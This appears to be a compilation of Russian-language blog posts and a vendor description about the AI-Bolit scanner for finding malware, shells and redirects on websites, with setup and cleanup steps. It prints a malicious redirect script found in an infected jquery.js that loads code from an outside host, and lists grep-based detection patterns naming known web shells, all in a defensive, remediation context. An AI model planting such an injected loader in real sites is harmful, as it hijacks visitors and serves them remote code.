Недавно на одном из своих проектов я заметил срабатывание редиректа на сторонний рекламный ресурс. Это не такой явный хак сайта когда тот полностью перестает работать, а скрытый способ воровства трафика. Например, злоумышленник может перенаправлять только пользователей с мобильных устройств или сделать срабатывание скрипта непостоянным дабы владелец проекта не заметил потерю аудитории. Как бы там ни было, это все не очень хорошо для вашего сайта как с точки зрения посетителей, которые не попадают на нужные страницы, так и может вызывать проблемы со стороны поисковиков, если вдруг редирект идет на источник с вирусами.
Сегодня рассмотрим один полезный PHP скрипт AI Bolit который позволяет найти вирусы на хостинге дабы избавиться от разного вредоносного кода. Решение полностью бесплатное и не сложное в работе.
У данного скрипта есть 3 варианта релизов:
- AI Bolit под Windows — позволяет провести анализ сайт локально, предварительно скачав его на компьютер.
- Классический вариант для проверки хостинга на вирусы (подойдет также для Unix и Mac OS X).
- Новый веб-сканер (ReScan.pro) — проводит проверку страниц сайта онлайн.
Последний вариант, как вы понимаете, самый простой однако он не смотрит непосредственно файлы, находящиеся на хостинге, а лишь выборочно сканирует некоторые веб-страницы. Такая поверхностная проверка не может подсказать вам конкретный источник проблемы на сайте, но поможет ее обнаружить.
Некоторым пользователям наиболее привычными и простым кажется вариант скрипта AI Bolit для Windows, т.к. многие работают с этой ОС. Однако я бы все же рекомендовал выполнять проверку вирусов на хостинге. Здесь нет ничего сложного, и ниже подробнее об этом всем расскажу.
Принцип работы и особенности AI Bolit
Чтобы использовать AI Bolit вам нужно выполнить следующие действия:
- Скачать скрипт с сайта программы .
- Распаковать и залить его на хостинг.
- Запустить AI Bolit как указано в документации.
- После выполнения проверки получаете результат анализа сайта.
- Дальше вы можете самостоятельно исправить проблемы или обратиться за помощью к специалистам.
Последний пункт объясняет почему столь классный и мощный php скрипт AI Bolit распространяется бесплатно. Думаю, после нахождения проблем и вирусов на хостинге многие пользователи обращаются к разрабочтикам за последующими услугами. Вполне логичный подход. Решение, кстати, запатентовано и обладает уникальным алгоритмом, а популярніе ру-хостинги рекомендуют/используют его в работе. Помнится, когда-то обращался за помощью в тех.поддержку хостера по поводу проблем с одним сайтом, так они запускали проверку хостинга на вирусы именно с помощью AI Bolit. После того случая я и узнал о существовании данного решения:)
Основные плюсы и фишки AI Bolit:
- поиск разных типов вредоносных кодов: вирусы, шеллы, бэкдоры, публичные уязвимости в скриптах;
- бесплатное распространение;
- использование специального запатентованного эвристический анализа;
- относительно не сложная установка и настройка;
- актуальная база вирусов и вредоносных скриптов;
- проверка хостинга на вирусы для любых сайтов и CMS;
- работа с разными ОС: Windows, Unix, MacOS;
- рекомендации от ведущих хостинг-компаний.
Как пользоваться AI Bolit
1. Скрипт AI Bolit скачать можно пройдя по данной ссылке на сайте с его описанием. Там рекомендуется выбирать именно универсальную версию(!) для проверки хостинга на вирусы. После этого начнется автоматическое скачивание файла ai-bolit.zip.
2. Следующий шаг — распаковка и загрузка на хостинг. Для работы с FTP я использую бесплатную программу FileZilla (отличный ФТП клиент). После разархивации ai-bolit.zip найдете внутри документацию по установке в файле readme.txt. Если хотите, можете с ней ознакомиться.
define ("PASS" , "????????????????????" ) ; |
define("PASS", "????????????????????");
И вписываете вместо символов??? свое значение. Файл сохраняете.
4. Затем копируете все содержимое папки /ai-bolit/ на свой хостинг в корневую директорию (например, для WP это там, где находится wp-config).
5. После загрузки скрипта на сервер нужно запустить AI Bolit по ссылке в адресной строке вашего браузера:
https://адрес_вашего_сайта/ai-bolit.php?p=ваш_пароль
Через некоторое время получите отчет поиска вирусов на хостинге.
В данном примере видимо, что проверка обнаружила подозрительный редирект для мобильных устройств, находящийся в haccess, но я добавлял его самостоятельно. Также были найдены сторонние коды в некоторых файлах шаблона (на скриншоте их нет, т.к. уже все почистил).
6. После того как сканер AI Bolit завершил свою работу вам нужно обязательно удалить все его файлы с FTP (которые вы загружали на 4-том шаге) вместе с отчетом.
Напоследок хочется заметить, что в скрипте имеется 2 режима проверки: экспресс и «параноидальный» . В первом случае проверяются только js, php, html файлы и htaccess, а второй позволяет запустить AI Bolit на полную. Для этого в файле настроек ai-bolit.php поставьте значение переменной ‘scan_all_files’ => 1 либо используйте для запуска скрипта ссылку с дополнительным параметром:
https://адрес_вашего_сайта/ai-bolit.php?p=ваш_пароль&full
В документации сказано, что перед повторным запуском надо удалить AI-BOLIT-DOUBLECHECK.php, хотя лично у меня на ФТП такого файла не было. В readme.txt также найдете информацию как проверить на вирусы сайт на хостинге через SSH. Алгоритм действий похожий, но после копирования всех файлов скрипта на FTP запускаете его командой:
php ai-bolit.php |
php ai-bolit.php
В итоге автоматически будет создан файл AI-BOLIT-REPORT-<дата>-<время>.html с результати проверки. В принципе, ничего сложного нет, но дополнительные ответы на вопросы можете глянуть в FAQ.
В целом у меня получилось проверить сайт на вирусы с AI Bolit достаточно легко — проблему обнаружил и ликвидировал за минут 10. Скачивается сканер бесплатно отсюда , затем нужно настроить и запустить AI Bolit по специальной ссылке в браузере, после чего просмотреть результаты. Как исправлять вирусы, бэкдоры и шеллы — это уже несколько иной вопрос. В самом простом случае (как у меня с редиректом) — просто удаляете вредоносный код из файлов. Если плохо в этом разбираетесь или задача слишком сложная, можно запросить платную консультацию/услугу у разработчиков срипта. Они помогут не только с удалением вируса на хостинге, но и улучшат его защиту.
AI-Bolit - это продвинутый бесплатный сканер бэкдоров, хакерских шеллов, вирусов и дорвеев. Скрипт умеет искать вредоносный и подозрительный код в скриптах, определяет спам-ссылки, показывает версию CMS и критические для безопасности сервера настройки.
Эффективность работы сканера заключается в использовании паттернов и эвристики, а не обычного поиска по хешу.
История создания
В настоящий момент рынок антивирусного ПО для персональных компьютеров чрезвычайно развит: на слуху решения от Касперского, Dr.Web, McAfee, Norton, Avast и прочих. Со сканерами вирусов и вредоносного кода для сайтов все не так радужно. Системные администраторы и владельцы сайтов, озабоченные проблемой поиска вредоносного кода на своих серверах, вынуждены использовать самописные скрипты, которые ищут вирусы и шеллы по определенным фрагментам, собранным ранее. Так же поступал и я. С клиентских сайтов собирал шеллы, вирусы, бэкдоры, коды редиректов и постепенно формировал базу сигнатур вредоносного кода. А чтобы ее было удобно использовать, написал небольшой скрипт на PHP.
Постепенно сканер обрастал полезной функциональностью, и наконец стало очевидно, что он может быть полезен не только мне.
В апреле 2012 года я анонсировал скрипт AI-Bolit на нескольких форумах, а спустя полгода он стал основным средством поиска вредоносного кода у веб-мастеров и админов хостингов. Что касается суммарной статистики, то за полтора года скрипт скачали более 64 тысяч раз. А еще на скрипт получено авторское свидетельство в Роспатенте.
Особенности сканера
Основное отличие AI-Bolit от существующих на сегодняшний день сканеров вирусов и вредоносного кода на сервере - это использование паттернов в качестве вирусных сигнатур. Поиск вредоносного кода происходит по базе регулярных выражений, а не хешу или контрольным суммам, что позволяет выявлять даже модифицированные и обфусцированные шеллы, вставленные в шаблоны или скрипты CMS.
Сканер может работать в режиме быстрого сканирования (только по PHP-, HTML, JS-, htaccess-файлам), в режиме «эксперта», исключать директории и файлы по маске. А также имеет большую базу CRC white-листов популярных CMS, что значительно сокращает количество ложных срабатываний.
В настоящий момент в базе сканера более 700 сигнатур вредоносных скриптов. Сигнатуры представляют собой регулярные выражения, что позволяет находить, например, вот такие обфусцированные шеллы и бэкдоры, которые ни LMD с ClamAV, ни уж тем более десктопные антивирусы не находят:
Базу сигнатур регулярно пополняют новыми найденными образцами как специалисты из «Ревизиума», так и пользователи скрипта, что позволяет поддерживать сканер в актуальном состоянии.
Интерфейс AI-Bolit
Интерфейс AI-Bolit очень прост. Это PHP-скрипт, который может работать в режиме командной строки через PHP CLI или открываться в браузере с URL http://сайт/ai-bolit.php?p=пароль.
Результатом работы скрипта является отчет, состоящий из четырех секций:
- Статистика и общая информация о скрипте.
- Красная секция критических замечаний со списком найденных шеллов, вирусов и другого вредоносного кода (или похожих на вредоносный код фрагментов).
- Оранжевая секция предупреждений (подозрительные фрагменты кода, которые часто используются в хакерских инструментах).
- Синяя секция рекомендаций (список открытых на запись каталогов, настройки PHP и прочее).
Пользователь анализирует полученный отчет, просматривая сниппеты, находит и удаляет вредоносные скрипты и фрагменты кода вручную с помощью инструментов командной строки или программ поиска и замены строк в файлах.
Основная проблема, c которой обычно сталкивается разработчик сканера вирусов, - это поиск золотой середины между «параноидальностью» (чувствительностью) сканера и числом ложных срабатываний. Если для поиска вредоносного кода использовать только фиксированные строки, то эффективность сканера становится низкой, так как не будут найдены обфусцированные фрагменты, код с пробелами и табуляциями, хитро отформатированный код. Если же искать по гибким паттернам, то высока вероятность ложных срабатываний, когда гарантированно безопасные скрипты отмечаются как вредоносные.
В AI-Bolit я решаю данную проблему с помощью использования двух режимов работы («обычный»/«экспертный») и white-листов для известных CMS.
Будущее AI-Bolit
В планах по развитию скрипта - большое количество полезных фич и интеграция с другими антивирусными решениями. Один из ключевых моментов - это интеграция AI-Bolit с базами ClamAV и LMD. Так AI-BOLIT сможет искать руткиты и шеллы еще и по контрольным суммам.
Вторая важная вещь в очереди на имплементацию - это удобный интерфейс для анализа табличных отчетов с поиском и гибкими фильтрами. Можно будет отсеивать найденные файлы по расширениям, сортировать по размеру, контрольным суммам и так далее.
Третьим пунктом стоит реализация асинхронного сканирования с помощью AJAX, что позволит решить проблему проверки сайтов, размещенных на слабых хостингах, на которых ограничено потребление CPU или время работы скрипта. В настоящий момент это решается только сканированием копии сайта локально или на другом, более мощном сервере. Ну и конечно, постоянные обновления баз сигнатур вредоносного кода.
В заключение
Код скрипта открыт, размещен на GitHub, поэтому любой желающий может внести свой вклад в развитие данного проекта. Ваши предложения и пожелания присылайте мне на [email protected] .
Сегодня ко мне обратились за помощью в очистки интернет магазина от вирусов. Неожиданно для одного из сотрудников пришёл отказ в рекламе Google Adwords. В письме указали, что в файле jquery.js прописан подозрительный код.
В первую очередь я с помощью браузера открыл путь к данном файлу, но антивирус Avast никак не среагировал на данный файл, хотя зрительно я уже видел вредоносный код. Затем я соединился по ftp с помощью FileZilla и попробовал открыть файл с помощью программы Notepad++ . И вот тут мой антивирус заблокировал доступ к данному файлу.
Чтобы почистить js файл от вируса, мне пришлось на 10 минут отключить AVAST, а затем удалить из файла вредоносные строчки.
Если вы столкнулись с подобной проблемой, удалите следующий код как показано на картинке, или вот эти строки.
Var r=document.referrer; var c=document.cookie; r1=0; if ((r.indexOf("yandex")>0) || (r.indexOf("google")>0) || (r.indexOf("rambler")>0) || (r.indexOf("mail")>0)) { document.cookie = "__ga1=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; } else {if (c.indexOf("__ga1")==-1){document.cookie = "__ga2=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}} if (((c.indexOf("__ga1")>-1) || (r1==1)) && (c.indexOf("__ga2")==-1)) {document.write(unescape("%3Cscript src="http://google-analyzing.com/urchin.js" type="text/javascript"%3E%3C/script%3E"));}
Бэкап сайта.
Далее соединяемся по ssh доступу, например с помощью утилиты putty и по возможности делаем архив сайта. Для этого достаточно в консоли воспользоваться следующим командой:
tar - cf backup .tar /home/логин/site/public_html
*/home/логин/site/public_html - полный путь до главной директории сайта
Бэкап сайта можно и не делать, но мало ли вы удалите что-то важное?
Теперь есть два варианта проверки сайта на вирусы
1. Проверка сайта с помощью php скрипта Ai-Bolit, который ищет различные вирусы а так же php shell.
2. Скачать весь сайт к себе на компьютер и прогнать антивирусом Avast, но первый вариант значительно лучше, удобней, и значительно качественней.
Очистка сайта на локальном компьютере
Сначала я воспользовался вторым способом, поэтому опишу именно его. После того как на компьютер были выкачены все файлы (или архив), а их немного не мало 25 000, я открыл Avast и указал папку с файлами сайта для их проверки на вредоносные скрипты.
После того как Avast выполнил проверку в папке с файлами веб-сайта были обнаружены два скриптовых вируса:
- Php-Shell-Jv
- Js-Redirector-Fc
Файл index.php состоял из следующего кода:
В файле javascript "ui.datepicker_old.js" был вредоносный код в самом низу содержания скрипта. Этот код необходимо удалить!
Очистка сайта от вирусов с помощью Ai-Bolit.
Ftp способ.
1. Загружаем архив со скриптом Айболит на локальный компьютер и распаковываем его.
2. Соединяемся по ftp с помощью клиента FileZilla
3. Распакованные файлы архива размещаем в главную директорию сайта /home/ваш сайт/public_html
4. Запускаем скрипт http://ваш домен/ai-bolit.php
5. Файл отчёта будет создан в главной директории с именем AI-BOLIT-REPORT.html
Если после запуска скрипта отображается чистый белый экран, значит версия php на сервере хостера не подходит для Айболита.
Внимание! Если необходимо проверить все сайты в директории, загружаем скрипт в папку /home/domains/ или /home/ , тогда Ai-Bolit рекурсивно пройдётся по всем папкам, и выдаст отчёт, но как мне кажется лучше проверять по одному домену.
Консольный вариант (SSH)
1. Запускаем программу Putty, или другую консольную программу.
2. Соединяемся с сервером по хосту и паролю.
3. Переходим в главную директорию сайта командой cd /home/ваш логин/ваш сайт/public_html/
4. Загружаем скрипт командой wget http://www..zip
5. Распаковываем zip архив командой unzip 20160904_112415ai-bolit.zip
6. Запускаем скрипт php ai-bolit.php
Для запуска в фоновом режиме используем команду: screen -d -m php ai-bolit.php
7. Ждём пока что скрипт выполнит проверку, и создаст отчёт вида "AI-BOLIT-REPORT.html " на сервере.
Так же обратите внимание, если на вашем сервере установлен php ниже 5.3, Айболит покажет ошибку и не запустит сканирование. В моём случае пришлось выкачивать сайт, и проверять его на своём сервере.
После того как на сервере будет создан файла отчёта, его можно скачать к себе на компьютер и посмотреть обычным браузером (Хром, Файерфокс, и т.д).
В первую очередь стоит обратить внимание на отчёт о "Вредоносных скриптах", ну а дальше либо аккуратно удалять эти файлы, либо чистить ручным способом, как это делаю я.
– это сканер вирусов и вредоносного кода нового поколения, которым уже воспользовались десятки тысяч веб-мастеров и администраторов серверов.
Он ищет вирусы, хакерские скрипты, фишинговые страницы, дорвеи и другие типы вредоносных скриптов, загружаемые хакерами при взломе сайтов.
Если на вашем сайте появились проблемы, например:
- антивирусы блокируют доступ к страницам сайта,
- на страницах появились чужие ссылки
- происходит мобильный редирект при заходе со смартфона или планшета,
- резко упала посещаемость,
- посетители жалуются на вирусы,
- хостинг заблокировал почту за рассылку спама,
- есть подозрение на взлом сайт
Сканер AI-Bolit является бесплатным для некоммерческого использования, любой веб-мастер может загрузить сканер на сайт и проверить свой ресурс на вирусы и взлом.
AI-Bolit рекомендуют многие российские хостинг-провайдеры , некоторые из них уже встроили сканер в панель управления виртуальным хостингом, что позволяет выполнить владельцу аккаунта антивирусную проверку в один клик.
Сканер разработан экспертами по информационной безопасности компании «Ревизиум» , специализирующейся на лечении сайтов и защите от взлома.
Ежедневно при лечении и восстановлении сайтов специалисты “Ревизиума” обнаруживают новые вредоносные скрипты и более изощренные способы сокрытия вредоносного кода. Эта информация используется для корректирования алгоритма работы сканера и пополнения базы правил, что делает сканер AI-Bolit более эффективным с каждой новой версией.
В чем уникальность сканера AI-Bolit?
Слабой стороной современных серверных сканеров вредоносного кода является их подход к обнаружению вредоносов и антивирусная база. Серверные антивирусы ищут вирусный и хакерские код по фиксированным параметрам (контрольной сумме файла, хэшу, строковым фрагментам). В то же время разработчики современных вредоносных скриптов научились обманывать сканеры, используя шифрование кода, делая каждую новую копию непохожей на предыдущую: они используют обфускацию переменных, шифрование исполняемого кода, косвенные вызовы и другие подходы. Поэтому старые методы поиска вирусов перестают работать. Если раньше системному администратору достаточно было выполнить команду
Find -type f -name "*.php" -print0 | xargs -0 fgrep -l "base64_decode($_POST" find -type f -name "*.php" -print0 | xargs -0 fgrep -l "if (count($_POST) < 2) { die(PHP_OS.chr(" find -type f -size -1000c -name "*.php" -print0 | xargs -0 grep -il "if(isset(\$_REQUEST\[.*eval(.*)" find -type f -name "*.php" -print0 | xargs -0 fgrep -l "base64_decode($_REQUEST" find -type f -size -1000c -name "*.php" -print0 | xargs -0 fgrep -l "eval(stripslashes($_REQUEST" find ~/domains/ -type f -name "*.php" -print0 | xargs -0 fgrep -l "eval($___($__)" find \(-regex ".*\.php$" -o -regex ".*\.cgi$" \) -print0 | xargs -0 egrep -il "r0nin|m0rtix|r57shell|c99shell|phpshell|void\.ru|phpremoteview|directmail|bash_history|filesman" find -type f -name "*.php" -print0 | xargs -0 fgrep -l "Euc Для поиска всех хакерских шеллов, то сейчас этого уже не достаточно, так как хакерский веб-шелл выглядит так: И меняет свою структуру и строковое представление. Нужен более эффективный механизм поиска вредоносного кода. Поэтому в AI-Bolit применяется несколько иной подход. При поиске вредоносного кода сканер использует предварительную нормализацию исходного кода, механизм поиска по регулярным выражениям и эвристические правила. Все это в совокупности позволяет обнаружить закодированные модификации веб-шеллов и бэкдоров, а также новые, еще неизвестные вирусы и хакерские скрипты, определяя их по альтернативным параметрам (например, если в исходном коде используются типичные для хакерских скриптов вызовы, файлы имеют случайно-сгенерированные имена, по нестандартным атрибутам файлов и т.п.). Использование продвинутого алгоритма обнаружения вредоносного кода позволяет сканеру AI-Bolit находить зашифрованные фрагменты полиморфной природы. Например, такие: В результате проведенных экспериментов AI-Bolit показал в разы обнаружение хакерских скриптов, по сравнению с ClamAv и MalDet, которые используются на многих хостингах в качестве бесплатных антивирусных решений. Как работает сканер AI-Bolit
Для проверки сайта достаточно загрузить сканер в каталог сайта (на хостинге или на локальном компьютере с бэкапом сайта) и запустить. Сканер можно открыть в браузере или запустить в режиме командной строки по SSH. Кроме того, AI-Bolit’ом можно проверить резервную копию сайта локально на своем компьютере. Результат проверки сайта — это подробный отчет в html или текстовом формате, который он может автоматически отправлять по электронной почте. На сайте есть подробные видео-инструкции и руководство для новичков. А вы уверены, что ваш сайт не взломан?
Большинство владельцев сайтов не подозревает, что их сайты взломаны и на них загружены хакерские скрипты. Поэтому рекомендуем проверить ваши сайты сканером AI-Bolit прямо сейчас. Если у вас возникнут вопросы по отчету сканера, пришлите его нам в “Ревизиум” на [email protected] (в виде архива.zip), мы поможем в нем разобраться. Обновления сканера анонсируются у нас в твиттере Есть проблемная ситация – сайт с вирусами. Сейчас я покажу как этот вирус найти легко и уничтожить. Первым делом нужно скачать сайт на локаль – ведь так намного проще проверять масив файлов. Этот текст из описания видео, потому он немного сумбурный и уныл. Впрочем и остальная моя писанина) Скачивать будем файлзиллой. Скачивать я буду сразу на установленный локальный сервер – Open Server – что бы была возможность запустить локально, вдруг понадобится. Если у вас установлен антивирус, которые проверяет файлы на лету – есть шанс что вы обнаружите в каких-то файлах вирусы ещё при скачивании. Смотрите в логах моего антивируса. В моем случае мой Microsoft Security ничего не показал – вирус оказался ему неизвестен. Для поиска я буду использовать специальный антивирус – Айболит. Сайт разработчика http://revisium.com/ai/ Итак, для работы нам ещё понадобится php для windows. Скачивать тут http://windows.php.net/download/ последнюю версию для виндовс в zip архиве. Распакуйте где-то, где вам было бы удобно. Окей. Подготовка закончилась. Теперь к работе. Скачиваем архив с АйБолитом. Внутри три папки: Итак, приступаем к лечению сайта от вирусов Я бы советовал сохранить только папку uploads и папку с вашей темой. Плагины все перекачать, настройки останутся в базе данных – их вирусы не трогают. Тему проверить вручную все файлы – благо их там немного, если верстал сайт не корявый верстальщик. А все остальное в движке залить наново. это самый надежный способ. И ещё напоминаю – вирусы скоре всего у вас по всему аккаунту на хостинге (очень редко они умудряются прыгать между аккаунтами разных пользователей, только в тмо случае если админ хоостинга криворук.) Если на сайте по какой-то причине будет удален АйБолит – скачать антивирус для сайта всегда можно у меня Вирусы это печально( PS: две статьи как чистить уже найденные вирусы:
Советую зайти, посмотреть семинар. Файлы ещё скачиваются, это надолго. У меня уже есть готовая локальная копия, я вчера игрался с антивирусом этим.